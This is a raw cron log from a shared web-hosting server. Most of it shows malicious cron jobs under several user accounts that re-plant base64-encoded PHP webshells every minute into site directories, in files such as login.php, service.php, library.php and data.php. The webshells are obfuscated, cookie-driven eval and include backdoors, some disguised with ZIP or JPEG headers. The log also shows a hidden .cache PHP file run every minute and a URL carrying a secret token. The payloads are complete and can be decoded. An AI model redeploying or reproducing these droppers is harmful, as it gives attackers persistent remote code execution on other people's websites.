Mar  2 09:10:02 medusa CROND[6259]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:10:02 medusa CROND[6260]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:10:02 medusa CROND[6262]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:10:02 medusa CROND[6266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:10:02 medusa CROND[6269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:10:02 medusa CROND[6261]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6267]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:10:02 medusa CROND[6271]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6272]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:10:02 medusa CROND[6258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:10:02 medusa CROND[6265]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:10:02 medusa CROND[6279]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6280]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:10:02 medusa CROND[6275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:10:02 medusa CROND[6277]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:10:02 medusa CROND[6288]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:11:02 medusa CROND[24225]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:11:02 medusa CROND[24224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:11:02 medusa CROND[24227]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:11:02 medusa CROND[24230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:11:02 medusa CROND[24231]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:11:02 medusa CROND[24232]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:11:02 medusa CROND[24226]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:11:02 medusa CROND[24239]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:11:02 medusa CROND[24243]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:11:02 medusa CROND[24244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:11:02 medusa CROND[24233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:11:02 medusa CROND[24248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:11:02 medusa CROND[24242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:12:01 medusa CROND[9495]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:12:01 medusa CROND[9497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:12:01 medusa CROND[9498]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:12:01 medusa CROND[9499]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:12:01 medusa CROND[9501]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:12:01 medusa CROND[9504]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:12:01 medusa CROND[9505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0